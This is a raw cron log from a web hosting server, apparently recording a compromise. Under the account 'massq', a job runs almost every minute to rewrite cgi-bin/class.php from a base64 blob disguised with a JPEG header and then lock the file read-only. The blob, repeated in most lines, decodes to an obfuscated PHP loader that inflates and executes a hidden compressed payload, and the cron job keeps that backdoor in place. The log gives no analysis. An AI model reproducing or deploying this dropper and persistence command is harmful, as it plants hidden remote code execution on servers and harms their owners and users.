Nov 11 03:48:01 server CROND[12581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:49:01 server CROND[13663]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:50:01 server CROND[14488]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 03:50:01 server CROND[14489]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 03:50:01 server CROND[14490]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 03:50:01 server CROND[14487]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 03:50:01 server CROND[14491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:51:01 server CROND[15346]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:52:01 server CROND[16151]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:53:01 server CROND[16971]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:54:01 server CROND[17911]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:55:01 server CROND[18723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 03:55:01 server CROND[18725]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:55:01 server CROND[18726]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 03:56:01 server CROND[19588]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:57:01 server CROND[20401]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 03:57:01 server CROND[20400]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:58:01 server CROND[21142]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:59:01 server CROND[22043]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:00:01 server CROND[22871]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 11 04:00:01 server CROND[22873]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 04:00:01 server CROND[22872]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:00:01 server CROND[22875]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:00:01 server CROND[22874]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
